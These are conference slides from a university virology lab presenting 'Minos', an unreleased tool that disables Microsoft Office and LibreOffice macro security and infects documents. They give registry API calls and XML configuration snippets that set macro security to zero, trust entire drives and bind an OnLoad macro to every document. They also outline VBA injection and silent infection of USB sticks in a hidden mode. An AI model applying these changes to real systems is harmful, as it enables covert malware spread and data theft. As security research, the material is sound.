The Office Demon : Minos

Jonathan Dechaux dechaux@esiea-ouest.fr

Ecole Supérieure en Informatique, Electronique et Automatique
Operational cryptology and virology Lab.
38 rue des docteurs Calmette & Guerin, 53000 Laval France

Cyberwarfare and Cyberweapons

Reallity of cyberwarfare

- August 2007: Espionage case of China against German chancelery.
  - 163 Gb of Gouvernemental data stolen through a Trojan-infected Office document.
- 2009 - 2010: Chinese hackers succeeded in stealing economic and financial data from European Banks, through malicious PDFs.

Document as cyberweapons

- (Open)Office document are good vectors.
- PDF documents are also used nowadays.

Which applications are concerned?

- Office 2003, 2007, 2010, 2013
- OpenOffice 3.x, LibreOffice 3.x
- All office applications.

Purpose of Minos

How to manage all Office documents and security against users

- One interface for all applications
- Cross-platform for different operating systems
- Static and dynamic infection
- Make some demos easily

The genesis of Minos

A USB Dumper base

- Improve USB Dumper (functionalities and principle)
- Manage the security and the documents
- Static and dynamic infection
- New design created with Qt (Cross-platform development tool)

MSO: Execution level security settings

Possible level of security

- Level 4 (0x00000004): Disable all macros without notification.
- Level 3 (0x00000002): Disable all macros with notifiation.
- Level 2 (0x00000003): Disable all macros except digitally signed macros.
- Level 1 (0x00000001): Enable all macros.

MSO: Execution level security settings

Location of settings

- Registery key : HKEY_CURRENT_USER
- \Software\Microsoft\Office\ <Version> \ <Application> \Security
- Application = {Word, Excel, Powerpoint, Access}
- Version = {11.0, 12.0, 14.0, 15.0}

MSO: Trusted Location

Definition

Trusted location: A **trusted location** is a directory where macros of documents stored inside are allowed to be executed automatically.

Stored in the registry

- HKEY_CURRENT_USER
- \Software\Microsoft\Office\ <Version> \ <Application> \Security\ **Trusted Location**.
- trust value.
- Standalone settings: modifying Word's settings does not affect other Office program's settings.

LO: Macro Security

Security settings

Both **Macro security level**, **trusted locations** and **Macros Application** are defined in "**registrymodifications.xcu**" file at: C:\Users\ <UserName> \AppData\Roaming\LibreOffice\3\user

Example

```
<item oor:path="/org.openoffice.Office.Common/Security/
Scripting">
  <prop oor:op="fuse" oor:name="MacroSecurityLevel">
    <value>2</value>
  </prop>
</item>
```

LO: Trusted Location

Example

Set the root directory as Trusted location

```
<item oor:path="/org.openoffice.Office.Common/Security/
Scripting">
  <prop oor:op="fuse" oor:name="SecureURL">
    <value>
      <it>file:///C:/</it>
    </value>
  </prop>
</item>
```

LO: Macros Application

Example

Set a macro for all documents who will be opened

```
<item oor:path="/org.openoffice.Office.Events/
  ApplicationEvents/Bindings">
  <node oor:op="replace" oor:name="OnLoad">
    <prop oor:op="fuse" oor:name="BindingURL">
      <value>
        vnd.sun.star.script:Standard.Module1.Main?
        language=Basic&location=application
      </value>
    </prop>
  </node>
</item>
```

MSO case

Change to the lowest level: 0

Interesting Keys: HKEY_CURRENT_USER

Path: Software\\Microsoft\\Office\\14.0\\Word\\Security

Windows API: RegSetValueEx, RegCreateKeyEx, RegCloseKey

Example

```
RegCreateKeyEx(HKEY_CURRENT_USER, path, 0,
        KEY_ALL_ACCESS, &hkey);
RegSetValueEx(hKey, warning, 0, REG_WORD,
        (const BYTE*)nNumber, sizeof(number));
RegCloseKey(hkey);
```

MSO case

Set the directory *c:\Users* as a Trusted Location.

KEY: HKEY_CURRENT_USER

Path: Software\\Microsoft\\Office\\14.0\\Word\\Security\\Trusted Locations\\Location3

Example

```
RegCreateKeyEx(HKEY_CURRENT_USER,path, 0, NULL,
        REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
        NULL, &hkey, NULL)
```

MSO case

Set the directory *c:\Users* as a Trusted Location.

Example

```
RegSetValueEx(hKey, description, 0, REG_SZ,
        (const BYTE*)("1"), 32);
RegSetValueEx(hKey, path_t, 0, REG_SZ,
        (const BYTE*)TEXT("C:\\Users\\"), 32);
RegSetValueEx(hKey, allow, 0, REG_DWORD,
        (const BYTE*)&number, sizeof(number));
RegCloseKey(hkey);
```

LibreOffice
Change the security

QT Xml functions

1. Define the XML file: *QFile xml_doc(path);*
2. Variables: *QDomDocument doc, QDomElement element*
3. Get the content of the file: *doc.setContent(&xml_doc, true)*
4. Attributes: *QString oor_path = element.attribute("oor:path");*
5. Create node: *QDomElement prop = doc.createElement("prop");*
6. Set a node attribute: *prop.setAttribute("oor:name", "MacroSecurityLevel");*
7. Create a value: *QDomText data = doc.createTextNode(0);*
8. Add a node to the document: *item.appendChild(prop);*

LibreOffice

Change the Macro security level to the lowest: 0

The Algorithm

1. Locate the nodes: *item*, *prop*, *value*
2. Locate the values: *oor:path*, *oor:name*
3. Change or insert the value

```
<item oor:path="/org.openoffice.Office.Common/Security/
   Scripting">
   <prop oor:op="fuse" oor:name="MacroSecurityLevel">
      <value>0</value>
   </prop>
</item>
```

LibreOffice

Set the directory *c:* as a Trusted Location.

The Algorithm

It is exactly the same algorithm that manages the security level.

```
<item oor:path="/org.openoffice.Office.Common/Security/
   Scripting">
   <prop oor:op="fuse" oor:name="SecureURL">
      <value>
         <it>file:///C:/</it>
      </value>
   </prop>
</item>
```

LibreOffice

Set a macro at the opening of every document

The Algorithm

It is exactly the same algorithm that manages the security level.

```
<item oor:path="/org.openoffice.Office.Events/
    ApplicationEvents/Bindings">
  <node oor:op="replace" oor:name="OnLoad">
    <prop oor:op="fuse" oor:name="BindingURL">
      <value>
        vnd.sun.star.script:Standard.Module1.Main?
        language=Basic&location=application
      </value>
    </prop>
  </node>
</item>
```

Documents infection

Two ways of infection

- Static infection
- Dynamic infection
- Save all documents before infection.

USB Dumper

Collect and infect

- Collect all documents from a USB device.
- Add a word or excel macro for each document of those types.
- No control of existing macro document (no error management).

Minos

New USB Dumper

- Collect all documents from a USB device/Folder.
- Add a word, excel, text and spreadsheet macro for each documents of those types (Word, Excel, LibreOffice).
- Two ways of macro infection: replacement and injection.
- Error management and secure opening for macro document.

Documents Infection

Infection algorithm

- Copy the original document to a temporary folder
- Rename the temporary document with a random name
- Infect the document and copy-erase the original document

Documents Infection

QT Xml and C functions for MSO

1. Call the MSO application: *QAxObject word("Word.Application");*
2. Simulate key press: *keybd_event(VK_SHIFT, 0, 0, 0);*
3. Open the file: *QAxObject * doc = documents->querySubObject("Open(const QString&)", path);*
4. Get the *VBProject*, *VBComponents*, *CodeModule* properties: *QAxObject * vbcodemodule = vbcomponent->querySubObject("CodeModule");*
5. Insert our data: *vbcodemodule->dynamicCall("InsertLines(short, const QString&)", 1, data);*

Documents Infection

QT Xml and C functions for LO

1. LO document: ZIP archive with XML documents
2. Unzip the file, Insert the macro, Zip the folder
3. Same XML functions/variables used to modify the LO security

Macro Infection

Macro replacement

- Open the document in secure mode to disable open macro.
- Find macros and replace the macro if existing.
- If it's not existing, add the macro.

Example

```
Sub Document_Open()
    MsgBox "Hello Hack.Lu"
End Sub
```

Find the Macro *Document_Open()* and replace the entire macro by our.
If it's not existing, add the macro.

Macro Infection

Macro injection

- Open the document in secure mode to disable open macro.
- Find macros and add the macro next to them.
- If it's not existing, add the macro next to other macros.

Example

```
Sub Document_Open()
    MsgBox "Hello Hack.Lu"
End Sub
```

Find the Macro *Document_Open()* and add the content of our macro at the beginning.
If it's not existing, add the macro next to other macros.

Static infection

Document or Folder

- Save all documents
- Copy each document in a temp folder with a temp name
- Infect each document with a predefined macro
- Replace each original document

Dynamic infection

USB Stick

- Recognize a new USB device plugged
- Save all documents
- Copy each document in a temp folder with a temp name
- Infect each document with a predefined macro
- Replace each original document

Dynamic infection

new USB device plugged

- Rewritting the win event: *bool MaFenetre::winEvent(MSG * msg, long * retVal)*
- Get the info of a device change: *if(msg->message == WM_DEVICECHANGE)*
- Check if the device is arriving: *if(msg->wParam == DBT_DEVICEARRIVAL)*
- Get the letter of the device: *char drive = FirstDriveFromMask(lpdbv->dbcv_unitmask);*
- Use function on the device: *PostMessage(msg->hwnd, WM_GETFILE, (WPARAM)szDrive, 0);*

Screenshot


Minos
Options A Propos
Sécurité
Documents
Infection
Dest. C:\Users\Admin\Desktop
Browse
Cible C:\Users\Admin\Desktop\ToInfect
Browse
Macro
Office
Word C:/Users/Admin/Desktop/WordMacro.txt
Browse
Excel C:/Users/Admin/Desktop/ExcelMacro.txt
Browse
LibreOffice
Text C:/Users/Admin/Desktop/MacroLibre.txt
Browse
Ouvrir le document
Calc C:/Users/Admin/Desktop/MacroLibre.txt
Browse
Ouvrir le document
Type d'infection
Remplacement
Injection
Start
Reset
USB
MINOS

Scenarii

Open Cyber computer

- Minos in shadow mode (no icon, no menu, hidden)
- Get all documents
- Infect all USB documents
- Get more informations from the activation of powerfull macros

Demonstrations

Powerfull usage of Minos

- Change the security
- Add a trusted location
- Add a macro application
- Infect a USB stick

Minos

Work of Minos

- Product is not public, neither the source code
- In the Cyber Attack context, could interest governments (Law LOPSSI II and European counterpart).

Conclusion

(Open)Office are efficient cyberweapons

- Manage all the security for Microsoft Office and LibreOffice
- Interface to infect some documents for demos
- Can be use on public computer to collect some data
- Futher works: Trusted documents, Office 2013, LibreOffice 3.6

Thank you for your attention.
Do you have any questions?